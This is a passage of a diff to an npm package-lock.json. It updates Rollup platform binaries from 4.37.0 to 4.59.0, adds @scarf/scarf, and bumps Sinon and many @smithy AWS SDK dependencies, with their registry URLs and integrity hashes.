"https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", "cpu": [ "arm64" ], @@ -18416,9 +19221,9 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.37.0.tgz", - "integrity": "sha512-+iTQ5YHuGmPt10NTzEyMPbayiNTcOZDWsbxZYR1ZnmLnZxG17ivrPSWFO9j6GalY0+gV3Jtwrrs12DBscxnlYA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", "cpu": [ "arm64" ], @@ -18430,9 +19235,9 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.37.0.tgz", - "integrity": "sha512-m8W2UbxLDcmRKVjgl5J/k4B8d7qX2EcJve3Sut7YGrQoPtCIQGPH5AMzuFvYRWZi0FVS0zEY4c8uttPfX6bwYQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", "cpu": [ "x64" ], @@ -18444,9 +19249,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.37.0.tgz", - "integrity": "sha512-FOMXGmH15OmtQWEt174v9P1JqqhlgYge/bUjIbiVD1nI1NeJ30HYT9SJlZMqdo1uQFyt9cz748F1BHghWaDnVA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", "cpu": [ "arm64" ], @@ -18458,9 +19263,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.37.0.tgz", - "integrity": "sha512-SZMxNttjPKvV14Hjck5t70xS3l63sbVwl98g3FlVVx2YIDmfUIy29jQrsw06ewEYQ8lQSuY9mpAPlmgRD2iSsA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", "cpu": [ "x64" ], @@ -18472,9 +19277,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.37.0.tgz", - "integrity": "sha512-hhAALKJPidCwZcj+g+iN+38SIOkhK2a9bqtJR+EtyxrKKSt1ynCBeqrQy31z0oWU6thRZzdx53hVgEbRkuI19w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", "cpu": [ "arm" ], @@ -18486,9 +19291,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.37.0.tgz", - "integrity": "sha512-jUb/kmn/Gd8epbHKEqkRAxq5c2EwRt0DqhSGWjPFxLeFvldFdHQs/n8lQ9x85oAeVb6bHcS8irhTJX2FCOd8Ag==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", "cpu": [ "arm" ], @@ -18500,9 +19305,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.37.0.tgz", - "integrity": "sha512-oNrJxcQT9IcbcmKlkF+Yz2tmOxZgG9D9GRq+1OE6XCQwCVwxixYAa38Z8qqPzQvzt1FCfmrHX03E0pWoXm1DqA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", "cpu": [ "arm64" ], @@ -18514,9 +19319,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.37.0.tgz", - "integrity": "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", "cpu": [ "arm64" ], @@ -18527,10 +19332,10 @@ "linux" ] }, - "node_modules/@rollup/rollup-linux-loongarch64-gnu": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.37.0.tgz", - "integrity": "sha512-yCE0NnutTC/7IGUq/PUHmoeZbIwq3KRh02e9SfFh7Vmc1Z7atuJRYWhRME5fKgT8aS20mwi1RyChA23qSyRGpA==", + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", "cpu": [ "loong64" ], @@ -18541,10 +19346,38 @@ "linux" ] }, - "node_modules/@rollup/rollup-linux-powerpc64le-gnu": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.37.0.tgz", - "integrity": "sha512-NxcICptHk06E2Lh3a4Pu+2PEdZ6ahNHuK7o6Np9zcWkrBMuv21j10SQDJW3C9Yf/A/P7cutWoC/DptNLVsZ0VQ==", + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", "cpu": [ "ppc64" ], @@ -18556,9 +19389,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.37.0.tgz", - "integrity": "sha512-PpWwHMPCVpFZLTfLq7EWJWvrmEuLdGn1GMYcm5MV7PaRgwCEYJAwiN94uBuZev0/J/hFIIJCsYw4nLmXA9J7Pw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", "cpu": [ "riscv64" ], @@ -18570,9 +19403,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.37.0.tgz", - "integrity": "sha512-DTNwl6a3CfhGTAOYZ4KtYbdS8b+275LSLqJVJIrPa5/JuIufWWZ/QFvkxp52gpmguN95eujrM68ZG+zVxa8zHA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", "cpu": [ "riscv64" ], @@ -18584,9 +19417,9 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.37.0.tgz", - "integrity": "sha512-hZDDU5fgWvDdHFuExN1gBOhCuzo/8TMpidfOR+1cPZJflcEzXdCy1LjnklQdW8/Et9sryOPJAKAQRw8Jq7Tg+A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", "cpu": [ "s390x" ], @@ -18598,9 +19431,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.37.0.tgz", - "integrity": "sha512-pKivGpgJM5g8dwj0ywBwe/HeVAUSuVVJhUTa/URXjxvoyTT/AxsLTAbkHkDHG7qQxLoW2s3apEIl26uUe08LVQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", "cpu": [ "x64" ], @@ -18612,9 +19445,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.37.0.tgz", - "integrity": "sha512-E2lPrLKE8sQbY/2bEkVTGDEk4/49UYRVWgj90MY8yPjpnGBQ+Xi1Qnr7b7UIWw1NOggdFQFOLZ8+5CzCiz143w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", "cpu": [ "x64" ], @@ -18625,10 +19458,38 @@ "linux" ] }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.37.0.tgz", - "integrity": "sha512-Jm7biMazjNzTU4PrQtr7VS8ibeys9Pn29/1bm4ph7CP2kf21950LgN+BaE2mJ1QujnvOc6p54eWWiVvn05SOBg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", "cpu": [ "arm64" ], @@ -18640,9 +19501,9 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.37.0.tgz", - "integrity": "sha512-e3/1SFm1OjefWICB2Ucstg2dxYDkDTZGDYgwufcbsxTHyqQps1UQf33dFEChBNmeSsTOyrjw2JJq0zbG5GF6RA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", "cpu": [ "ia32" ], @@ -18653,10 +19514,24 @@ "win32" ] }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.37.0.tgz", - "integrity": "sha512-LWbXUBwn/bcLx2sSsqy7pK5o+Nr+VCoRoAohfJ5C/aBio9nfJmGQqHAhU6pwxV/RmyTk5AqdySma7uwWGlmeuA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", "cpu": [ "x64" ], @@ -18674,6 +19549,13 @@ "dev": true, "license": "MIT" }, + "node_modules/@scarf/scarf": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@scarf/scarf/-/scarf-1.4.0.tgz", + "integrity": "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ==", + "hasInstallScript": true, + "license": "Apache-2.0" + }, "node_modules/@sinclair/typebox": { "version": "0.27.8", "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", @@ -18685,26 +19567,28 @@ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { "type-detect": "4.0.8" } }, "node_modules/@sinonjs/fake-timers": { - "version": "10.3.0", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", - "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==", + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "@sinonjs/commons": "^3.0.0" + "@sinonjs/commons": "^3.0.1" } }, "node_modules/@smithy/abort-controller": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/abort-controller/-/abort-controller-4.2.7.tgz", - "integrity": "sha512-rzMY6CaKx2qxrbYbqjXWS0plqEy7LOdKHS0bg4ixJ6aoGDPNUcLWk/FRNuCILh7GKLG9TFUXYYeQQldMBBwuyw==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/abort-controller/-/abort-controller-4.2.8.tgz", + "integrity": "sha512-peuVfkYHAmS5ybKxWcfraK7WBBP0J+rkfUcbHJJKQ4ir3UAUNQI+Y4Vt/PqSzGqgloJ5O1dk7+WzNL8wcCSXbw==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -18712,9 +19596,9 @@ } }, "node_modules/@smithy/chunked-blob-reader": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/@smithy/chunked-blob-reader/-/chunked-blob-reader-5.0.0.tgz", - "integrity": "sha512-+sKqDBQqb036hh4NPaUiEkYFkTUGYzRsn3EuFhyfQfMy6oGHEUJDurLP9Ufb5dasr/XiAmPNMr6wa9afjQB+Gw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@smithy/chunked-blob-reader/-/chunked-blob-reader-5.2.0.tgz", + "integrity": "sha512-WmU0TnhEAJLWvfSeMxBNe5xtbselEO8+4wG0NtZeL8oR21WgH1xiO37El+/Y+H/Ie4SCwBy3MxYWmOYaGgZueA==", "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" @@ -18724,12 +19608,12 @@ } }, "node_modules/@smithy/chunked-blob-reader-native": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/chunked-blob-reader-native/-/chunked-blob-reader-native-4.0.0.tgz", - "integrity": "sha512-R9wM2yPmfEMsUmlMlIgSzOyICs0x9uu7UTHoccMyt7BWw8shcGM8HqB355+BZCPBcySvbTYMs62EgEQkNxz2ig==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@smithy/chunked-blob-reader-native/-/chunked-blob-reader-native-4.2.1.tgz", + "integrity": "sha512-lX9Ay+6LisTfpLid2zZtIhSEjHMZoAR5hHCR4H7tBz/Zkfr5ea8RcQ7Tk4mi0P76p4cN+Btz16Ffno7YHpKXnQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/util-base64": "^4.0.0", + "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" }, "engines": { @@ -18737,16 +19621,16 @@ } }, "node_modules/@smithy/config-resolver": { - "version": "4.4.5", - "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.5.tgz", - "integrity": "sha512-HAGoUAFYsUkoSckuKbCPayECeMim8pOu+yLy1zOxt1sifzEbrsRpYa+mKcMdiHKMeiqOibyPG0sFJnmaV/OGEg==", + "version": "4.4.6", + "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.6.tgz", + "integrity": "sha512-qJpzYC64kaj3S0fueiu3kXm8xPrR3PcXDPEgnaNMRn0EjNSZFoFjvbUp0YUDsRhN1CB90EnHJtbxWKevnH99UQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/node-config-provider": "^4.3.7", - "@smithy/types": "^4.11.0", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/types": "^4.12.0", "@smithy/util-config-provider": "^4.2.0", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", "tslib": "^2.6.2" }, "engines": { @@ -18754,18 +19638,18 @@ } }, "node_modules/@smithy/core": { - "version": "3.20.0", - "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.20.0.tgz", - "integrity": "sha512-WsSHCPq/neD5G/MkK4csLI5Y5Pkd9c1NMfpYEKeghSGaD4Ja1qLIohRQf2D5c1Uy5aXp76DeKHkzWZ9KAlHroQ==", + "version": "3.22.0", + "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.22.0.tgz", + "integrity": "sha512-6vjCHD6vaY8KubeNw2Fg3EK0KLGQYdldG4fYgQmA0xSW0dJ8G2xFhSOdrlUakWVoP5JuWHtFODg3PNd/DN3FDA==", "license": "Apache-2.0", "dependencies": { - "@smithy/middleware-serde": "^4.2.8", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-stream": "^4.5.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-stream": "^4.5.10", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" @@ -18813,15 +19697,15 @@ } }, "node_modules/@smithy/credential-provider-imds": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.7.tgz", - "integrity": "sha512-CmduWdCiILCRNbQWFR0OcZlUPVtyE49Sr8yYL0rZQ4D/wKxiNzBNS/YHemvnbkIWj623fplgkexUd/c9CAKdoA==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.8.tgz", + "integrity": "sha512-FNT0xHS1c/CPN8upqbMFP83+ul5YgdisfCfkZ86Jh2NSmnqw/AJ6x5pEogVCTVvSm7j9MopRU89bmDelxuDMYw==", "license": "Apache-2.0", "dependencies": { - "@smithy/node-config-provider": "^4.3.7", - "@smithy/property-provider": "^4.2.7", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/property-provider": "^4.2.8", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "tslib": "^2.6.2" }, "engines": { @@ -18829,13 +19713,13 @@ } }, "node_modules/@smithy/eventstream-codec": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-4.2.7.tgz", - "integrity": "sha512-DrpkEoM3j9cBBWhufqBwnbbn+3nf1N9FP6xuVJ+e220jbactKuQgaZwjwP5CP1t+O94brm2JgVMD2atMGX3xIQ==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-4.2.8.tgz", + "integrity": "sha512-jS/O5Q14UsufqoGhov7dHLOPCzkYJl9QDzusI2Psh4wyYx/izhzvX9P4D69aTxcdfVhEPhjK+wYyn/PzLjKbbw==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/crc32": "5.2.0", - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" }, @@ -18844,13 +19728,13 @@ } }, "node_modules/@smithy/eventstream-serde-browser": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-browser/-/eventstream-serde-browser-4.2.7.tgz", - "integrity": "sha512-ujzPk8seYoDBmABDE5YqlhQZAXLOrtxtJLrbhHMKjBoG5b4dK4i6/mEU+6/7yXIAkqOO8sJ6YxZl+h0QQ1IJ7g==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-browser/-/eventstream-serde-browser-4.2.8.tgz", + "integrity": "sha512-MTfQT/CRQz5g24ayXdjg53V0mhucZth4PESoA5IhvaWVDTOQLfo8qI9vzqHcPsdd2v6sqfTYqF5L/l+pea5Uyw==", "license": "Apache-2.0", "dependencies": { - "@smithy/eventstream-serde-universal": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/eventstream-serde-universal": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -18858,12 +19742,12 @@ } }, "node_modules/@smithy/eventstream-serde-config-resolver": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-config-resolver/-/eventstream-serde-config-resolver-4.3.7.tgz", - "integrity": "sha512-x7BtAiIPSaNaWuzm24Q/mtSkv+BrISO/fmheiJ39PKRNH3RmH2Hph/bUKSOBOBC9unqfIYDhKTHwpyZycLGPVQ==", + "version": "4.3.8", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-config-resolver/-/eventstream-serde-config-resolver-4.3.8.tgz", + "integrity": "sha512-ah12+luBiDGzBruhu3efNy1IlbwSEdNiw8fOZksoKoWW1ZHvO/04MQsdnws/9Aj+5b0YXSSN2JXKy/ClIsW8MQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -18871,13 +19755,13 @@ } }, "node_modules/@smithy/eventstream-serde-node": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-node/-/eventstream-serde-node-4.2.7.tgz", - "integrity": "sha512-roySCtHC5+pQq5lK4be1fZ/WR6s/AxnPaLfCODIPArtN2du8s5Ot4mKVK3pPtijL/L654ws592JHJ1PbZFF6+A==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-node/-/eventstream-serde-node-4.2.8.tgz", + "integrity": "sha512-cYpCpp29z6EJHa5T9WL0KAlq3SOKUQkcgSoeRfRVwjGgSFl7Uh32eYGt7IDYCX20skiEdRffyDpvF2efEZPC0A==", "license": "Apache-2.0", "dependencies": { - "@smithy/eventstream-serde-universal": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/eventstream-serde-universal": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -18885,13 +19769,13 @@ } }, "node_modules/@smithy/eventstream-serde-universal": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-universal/-/eventstream-serde-universal-4.2.7.tgz", - "integrity": "sha512-QVD+g3+icFkThoy4r8wVFZMsIP08taHVKjE6Jpmz8h5CgX/kk6pTODq5cht0OMtcapUx+xrPzUTQdA+TmO0m1g==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-universal/-/eventstream-serde-universal-4.2.8.tgz", + "integrity": 